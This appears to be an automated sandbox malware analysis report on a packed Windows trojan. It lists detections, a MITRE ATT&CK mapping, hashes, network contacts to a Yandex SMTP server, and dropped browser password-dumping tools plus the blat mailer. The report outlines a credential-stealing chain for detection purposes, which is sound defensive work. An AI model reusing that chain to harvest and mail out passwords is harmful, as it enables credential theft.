Source: Yara match	File source: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PasswordFox.exe PID: 8052, type: MEMORYSTR

Yara detected Opera Password Stealer

Source: Yara match	File source: 9.2.OperaPassView.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: OperaPassView.exe PID: 7972, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	111 Native API	1 Scripting	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	1 Access Token Manipulation	21 Obfuscated Files or Information	1 Input Capture	2 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	11 Software Packing	1 Credentials In Files	4 System Information Discovery	SMB/Windows Admin Shares	1 Input Capture	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	121 Security Software Discovery	Distributed Component Object Model	2 Clipboard Data	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Virtualization/Sandbox Evasion	LSA Secrets	2 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Access Token Manipulation	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
0zu73p2YBu.exe	100%	ReversingLabs	Win32.Trojan.Generic
0zu73p2YBu.exe	100%	Avira	TR/Crypt.XDR.Gen
0zu73p2YBu.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	100%	Avira	SPR/PassFox.R
C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	100%	Avira	SPR/PSW.Gen
C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ .exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	61%	ReversingLabs	Win32.Hacktool.PasswordFox
C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	61%	ReversingLabs	Win32.PUA.PassView
C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	76%	ReversingLabs	Win32.Hacktool.PStorRevealer
C:\Users\user\AppData\Local\Temp\600.tmp\blat.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	71%	ReversingLabs	Win32.PUA.PassView

Source	Detection	Scanner	Label
http://www.blat.net/	0%	Avira URL Cloud	safe
http://www.blat.net)	0%	Avira URL Cloud	safe
http://www.blat.net/V	0%	Avira URL Cloud	safe
http://https://.savesignIn	0%	Avira URL Cloud	safe
http://www.blat.net)User-Agent:	0%	Avira URL Cloud	safe
http://www.blat.net/h	0%	Avira URL Cloud	safe
http://www.blat.net	0%	Avira URL Cloud	safe
http://www.blat.netX-Mailer:	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
yandex.ru	5.255.255.77	true	false		high
smtp.yandex.ru	77.88.21.158	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.blat.net)	blat.exe, blat.exe, 00000016.00000000.2416776928.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000016.00000002.2480400181.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000019.00000002.2562327376.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000019.00000000.2501549509.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001B.00000002.2652796169.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001B.00000000.2583383482.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001D.00000000.2674034956.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001D.00000002.2734819820.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.dll.1.dr, blat.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://https://.savesignIn	OperaPassView.exe, 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp	false	Avira URL Cloud: safe	unknown
http://www.nirsoft.net/	iepv.exe, 0000000D.00000002.1765185281.0000000000401000.00000040.00000001.01000000.0000000F.sdmp, ChromePass.exe, ChromePass.exe, 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp	false		high
http://www.blat.net/h	.exe, 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, blat.exe, 00000014.00000002.2395776689.0000000000426000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000016.00000002.2480455991.0000000000426000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000019.00000000.2501598450.0000000000426000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001B.00000000.2583455609.0000000000426000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001D.00000000.2674118562.0000000000426000.00000002.00000001.01000000.00000011.sdmp, blat.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://www.blat.net	blat.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://www.blat.net/V	.exe, 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, blat.dll.1.dr	false	Avira URL Cloud: safe	unknown
http://www.blat.net/	.exe	false	Avira URL Cloud: safe	unknown
http://www.blat.net)User-Agent:	.exe, 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, blat.exe, 00000014.00000002.2395717223.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000014.00000000.2395093923.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000016.00000000.2416776928.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000016.00000002.2480400181.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000019.00000002.2562327376.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000019.00000000.2501549509.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001B.00000002.2652796169.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001B.00000000.2583383482.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001D.00000000.2674034956.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001D.00000002.2734819820.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.dll.1.dr, blat.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://www.blat.netX-Mailer:	.exe, 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, blat.exe, 00000014.00000002.2395717223.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000014.00000000.2395093923.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000016.00000000.2416776928.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000016.00000002.2480400181.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000019.00000002.2562327376.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 00000019.00000000.2501549509.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001B.00000002.2652796169.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001B.00000000.2583383482.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001D.00000000.2674034956.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.exe, 0000001D.00000002.2734819820.0000000000413000.00000002.00000001.01000000.00000011.sdmp, blat.dll.1.dr, blat.exe.1.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
77.88.21.158	smtp.yandex.ru	Russian Federation		13238	YANDEXRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559606
Start date and time:	2024-11-20 18:14:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	0zu73p2YBu.exe (renamed file extension from none to exe, renamed because original name is a hash value)
Original Sample Name:	01356f359af7ecda0db1b00ebcb7bc844ce1fb36bbdbf812bf4a749c22f0d620
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@46/28@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 147 Number of non-executed functions: 369

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, RuntimeBroker.exe, WMIADAP.exe, Microsoft.Photos.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 0zu73p2YBu.exe

Simulations

Behavior and APIs

Time	Type	Description
12:15:35	API Interceptor	3776x Sleep call for process: .exe modified
12:15:39	API Interceptor	87x Sleep call for process: PING.EXE modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
77.88.21.158	REQUEST FOR OFFER EQUIPMENT ORDER LIST.exe	Get hash	malicious	AgentTesla	Browse
	DHL Delivery Invoice.com.exe	Get hash	malicious	AgentTesla	Browse
	Transferencias6231.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse
	Justificante de pago.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse
	Justificante de pago.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse
	TRANSFERENCIA BANCARIA.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse
	xBneIooWzQjjOOg.exe	Get hash	malicious	AgentTesla	Browse
	Justificante_13087.vbe	Get hash	malicious	AgentTesla, GuLoader	Browse
	ORDER FRANCAP.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
smtp.yandex.ru	REQUEST FOR OFFER EQUIPMENT ORDER LIST.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	DHL Delivery Invoice.com.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	Transferencias6231.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	77.88.21.158
	Justificante de pago.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	77.88.21.158
	Justificante de pago.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	77.88.21.158
	TRANSFERENCIA BANCARIA.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	77.88.21.158
	xBneIooWzQjjOOg.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	Justificante_13087.vbe	Get hash	malicious	AgentTesla, GuLoader	Browse	77.88.21.158
	ORDER FRANCAP.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	77.88.21.158
yandex.ru	Unit 2_week 4 2024.pptx	Get hash	malicious	HTMLPhisher	Browse	5.255.255.77
	REQUEST FOR OFFER EQUIPMENT ORDER LIST.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	https://vivantskincare.taplink.ws	Get hash	malicious	HTMLPhisher	Browse	93.158.134.119
	DHL Delivery Invoice.com.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	https://sites.google.com/view/we2k-/home	Get hash	malicious	Unknown	Browse	87.250.250.119
	Cursor Commander.exe	Get hash	malicious	Unknown	Browse	213.180.204.90
	http://jobs.sixlfags.com	Get hash	malicious	Unknown	Browse	87.250.250.119
	http://gjchristelsodikobehjsg.taplink.ws	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	93.158.134.119
	https://gjchristelsodikobehjsg.taplink.ws/	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	93.158.134.119

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
YANDEXRU	Unit 2_week 4 2024.pptx	Get hash	malicious	HTMLPhisher	Browse	77.88.21.90
	REQUEST FOR OFFER EQUIPMENT ORDER LIST.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	https://vivantskincare.taplink.ws	Get hash	malicious	HTMLPhisher	Browse	93.158.134.119
	DHL Delivery Invoice.com.exe	Get hash	malicious	AgentTesla	Browse	77.88.21.158
	https://sites.google.com/view/we2k-/home	Get hash	malicious	Unknown	Browse	87.250.250.119
	Cursor Commander.exe	Get hash	malicious	Unknown	Browse	213.180.204.90
	SecuriteInfo.com.Win32.Application.Agent.NSIF6L.17895.28880.exe	Get hash	malicious	Unknown	Browse	213.180.193.14
	SecuriteInfo.com.Win32.Application.Agent.NSIF6L.17895.28880.exe	Get hash	malicious	Unknown	Browse	213.180.204.196
	http://jobs.sixlfags.com	Get hash	malicious	Unknown	Browse	87.250.251.119

Process:	C:\Users\user\Desktop\0zu73p2YBu.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	565760
Entropy (8bit):	7.907034199129241
Encrypted:	false
SSDEEP:	12288:C6ZBtrIcxL8ZizoPonO/wl7qA+Jlc2WacJohebJoSkJnkD1kdcQjtt:C6ZB/xLk/07qA+JzW6yskudcQjtt
MD5:	6867A307FDB19A4B89696F07FBFB1847
SHA1:	BB1ABEB88C33739D02DAEC2EEFD599F6DA33CEFF
SHA-256:	7D8DF3D56B4A1A412A8F3D234107417F0F48A48F84E84C43E9AA1D038E74E909
SHA-512:	D66199739159A428D0DDAF2EE6C783B9B458855128D2CA72CF46D95CDC6F000FA3A0B99A4D99894DD72D382CF8891A8CF8F6BE856B26075713AA1FA0CCE3FCB7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$+.I...............2.`...P.......7.......P....@.........................................................................h........P..hH..........................................................................................................UPX0....................................UPX1.....`.......T..................@....rsrc....P...P...L...V..............@...3.03.UPX!......T9.Y.m....G......&......40...s....B]h.F.B.x....../G..03..s.P..b.V..Y4+l.....N..]t#.o.W;..$nl1...+....y...[.j..[..a..;.. 5..6...O"...{_../o.&..W..R..`./Ch.l.C./.\|....q.r.........-.{.C.q.>..Rd................8..X4}....!V...DL.I!lF...kp..5...h.5.3....4.8Q...T.....=...Y..%.&~.6...{...r.\.8=.....-.`.ud..G..%...4.40)z._..BA....}.P.frd.y...^ wkxS......u.(.-tp..&.....@..%....1.r..X..WQ....r...#.mC...@..\|;.].T.\|...uYm.J......S1..N....'b.%]i..c.J.I'p.CPp...n...q..

C:\Users\user\AppData\Local\Temp\600.tmp\1.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\ .exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 100x100, segment length 16, baseline, precision 8, 600x399, components 3
Category:	dropped
Size (bytes):	163370
Entropy (8bit):	7.9765611413707935
Encrypted:	false
SSDEEP:	3072:Y42jCDwxUtsKh1rZ6qAee6mKz8+Mx2O0smXbBHRbjzeNdsz0ZkbTZ/OWo46:Y422DIUHTrZ7Axh+MHYBHRDuwJTDv6
MD5:	A24BC2D931B9A82E35F99E0B25730397
SHA1:	93736853CE4454323C79B25736D42055BB7DCDA4
SHA-256:	1C406A29734C76680E1595BE98BE04FFDC45958E9F488A1FD5090A1457F7711F
SHA-512:	77C0F2C8D9DC628DBC64F0DB4D4F091348730DA7707928EADDCEDFA1DFCC3E879B8840C1A5F68CA94ECCA19A22C27402D4A4D8ECE54E1900995B839EA2034078
Malicious:	false
Preview:	......JFIF.....d.d......Ducky.......d......Adobe.d...................................................................................................................................................X...............................................................................................!1..A.Qa".q.....2..B#....R.3$.br%..C..S4D......................!..1A..Qa..q.."...2......BR#.br3...$..C%.4.sD5E............?....%...)L.:.z.<...\|...g..>9..<.....8......5.....q.....U.. ..Q.\|~J.<\|<...P1.."....T.3>@. g.....F9./. .}4.Y..x.9....S.A...... ...8(..B...\.X..) ..2(QUs...D...(H......r...\|.X..9....9.7B......_..g..@...a.5Bg.._..p.9.H...#..T'..A.ZB...I,4.z.c.../...:mi..'@.'.#.=.o.i{......3.1..O..........B.......E^;.........8ia.tu.3..dBg4..P.....S.....'.qq......Djv.a:..).M..6.*q>...K.yy[.;.....D.'..u]i.J.:zJzh....(...d.5....6v..........Sm...;5:c...Z.?.....:.k.si.UU...`.i........8.i.Q.a.;......1.....enhSs=.B.>.s...>$J/;..t.}..mW.8..$.T...jy.p..d....`qdtu..00..]..<!%..x.&.

C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ .exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	130048
Entropy (8bit):	7.816255678628108
Encrypted:	false
SSDEEP:	3072:6agzIyK7evSGkFFam+eis+np3Dq/snVXQnm:6agzIyinLORpO/GVX
MD5:	CB271441FA19AC163ECF380C8EBB3109
SHA1:	2746EC2F9B03C814CB6DCDF98CD34E5581322239
SHA-256:	ABCA78E9E323C83DDA09AFBA29A2CD76846871546959541BFF51EB4AFA1AC499
SHA-512:	844CA33B863E925E31A077D04ED6D2DABBCEB4A7DE7D35CC23C42E835CB72B4FA28C170FB78B8BFE75BA7FCD47DA6DDFC5894A687C0095F3AD8EE2B80769A603
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2.v...v...v......t......f......\|......}...v...Z......u...Q@..w...Q@..m...Q@..w...Q@..w...Richv...................PE..L....M'N..................... ....................@.............................................................................8...................................................................................................................UPX0....................................UPX1................................@....rsrc.... ..........................@......................................................................................................................................................................................................................................................................................................................................................................................3.03.UPX!....

C:\Users\user\AppData\Local\Temp\600.tmp\user-PC_ChromePass.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Local\Temp\600.tmp\user-PC_OperaPassView.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Local\Temp\600.tmp\user-PC_PasswordFox.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ .exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	7.480459783551601
Encrypted:	false
SSDEEP:	768:L2ivyslykfdDY/D16P71WO9xyOMEdSv2mtAl4B6FEfP0JtyEECLvxYZqw:ii6q5dE/Kj/5iUJDglqw
MD5:	8B4AE559AD7836B27EE9F8F171BE8139
SHA1:	C60DDCFC7B3954F4D0D515B1FDAF47C6999E50A4
SHA-256:	1130504F6095D2B09FB1AD39323AB9448798B41EB925539E2128160CEC106609
SHA-512:	DF13AE1AA3B481D1A819736AF6DBF5FEA5C930A1FE18EA0368A0D2EFBE20334626DD90B42757BF8EF080F229E502C97CD6F5173738BC4967E26A04AEE61C040B
Malicious:	false
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......JR.U.3...3...3...<...3...<...3.......3.......3...3...2.......3..)....3..)....3..)....3..Rich.3..........................PE..L.....*M..................... ......0`.......p....@.............................................................................p....p..............................................................................................................UPX0....................................UPX1................................@....rsrc.... ...p......................@......................................................................................................................................................................................................................................................................................................................................................................................3.03.UPX!....

C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ .exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	39424
Entropy (8bit):	7.512783120236899
Encrypted:	false
SSDEEP:	768:89taRejmNH/Qjvgmj84TOjlRS6StB+PJP66Dh+lBvt1WChyen:82wMfQ1LKLE4y6WpbWChye
MD5:	CC84065F23CFC3D980AAD38EFC648DE6
SHA1:	C984A4FE5066440C17CE124BC65CC9152803C274
SHA-256:	2EB8BE8484421F65BB26FDAE80E2ED2721E2CC8C4996BE73158F46A6BDE57E22
SHA-512:	2920D4444F243AEAABCD360F71C794EDDEF1FCB1A5D487F46267F5DFD1BA319115E2FD4E80CEB79BBD51A03981F6ECA079349D90042EC7A2DF4CDA862CB69F01
Malicious:	false
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l...(.y.(.y.(.y...&.*.y...$.8.y...9.+.y...e.#.y.(.x.,.y...`.+.y.....4.y.....).y.....).y.Rich(.y.........................PE..L.....ZM..................... ......Ph.......p....@.............................................................................8....p..............................................................................................................UPX0....................................UPX1.............z..................@....rsrc.... ...p.......~..............@......................................................................................................................................................................................................................................................................................................................................................................................3.03.UPX!....

C:\Users\user\AppData\Local\Temp\600.tmp\blat.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\ .exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	6.537396945447993
Encrypted:	false
SSDEEP:	3072:tN3YqC7ZpufmsbSB0RaZCdLkMzdTv/3qq1iica:tN3Yq4ZpAPeB0fkMzgGHh
MD5:	724CAE63522F6E5F7565A3BF4B2A719B
SHA1:	18620DBD4357D85918070F669FF4B61755290757
SHA-256:	B87814EAF1CD5268E797F1119B58E3FD79381AF3F530BE9A90993198CBCE1779
SHA-512:	AF68749CADF9920A8BED455A2557B1FAF475D30FDD62F45DA6757FBC5A59341FFFECCCA4FF646B334DA95CF673DEEEEA74BDBB27A16F510A4E3309055F89817D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........K...%E..%E..%E..xE..%E<.xE..%E..$E.%EW.!E..%EW..E..%EW./E..%E<.+E..%E..zE..%E..EE..%E..yE..%ES.{E..%E...E..%ERich..%E................PE..L......E...........!.........F.......#.......0......................................................................`...v...4...x....`.......................p.......................................................0...............................text............................... ..`.rdata...\|...0...~... ..............@..@.data...............................@....rsrc........`......................@..@.reloc..$....p......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ .exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	115200
Entropy (8bit):	6.382552176662548
Encrypted:	false
SSDEEP:	3072:ag5DTZCatGyIMzdze3BO+ggUFLVRM8uTv/3hH4:zDTZCatGyI+dze3BNgpVRM8+H
MD5:	31F84E433E8D1865E322998A41E6D90E
SHA1:	CBEA6CDA10DB869636F57B1CFFAD39B22E6F7F17
SHA-256:	AECA4A77D617DA84296B5F857B2821333FE4B9663E8DF74EF5A25A7882693E5E
SHA-512:	7AE504723B5B140E45AF3163D1BFDC5EE0497DEBAFBA07CFBF1D2C15147C000BE53F4AC8D36D926ED11CF0BB62E9E72F9BCF5D4CAF92AA732D942F55834E2BE9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q..5..T5..T5..T&..T7..T...T3..T5..TL..T..T6..T..T4..T...T7..T..T>..T0..T4..T0..T&..T..T4..T0..T4..TRich5..T................PE..L......E.....................(.......".......0....@..........................p..............................................l...x....`..(............................................................................0...............................text............................... ..`.rdata..h}...0...~... ..............@..@.data..............................@....rsrc...(....`......................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\600.tmp\blat.lib

Download File

Process:	C:\Users\user\AppData\Local\Temp\ .exe
File Type:	current ar archive
Category:	dropped
Size (bytes):	2174
Entropy (8bit):	4.670703997043367
Encrypted:	false
SSDEEP:	48:Rq3SAQJbl/zKKOyAO5Ds3KAs0aUKsRXRqjzq:FKcCKGKuham
MD5:	3CD3CFFDA2B5108E2778F94429C624D6
SHA1:	3E4D218D1B8EB4FA1AB5152B126951892AFF3DC9
SHA-256:	B545194041588FC0A6F57E7EB5A93D2418AAA263D246E3C696A79EE5859770FF
SHA-512:	C80080AFCC982C4E950876756FB32C7F24FBE45BFBBE78AFE144BE1EDE86DC9EF1E57DB95D3DF7F4C6011FD226F23684B929781B55D1BE659CFA75D14F8D0C79
Malicious:	false
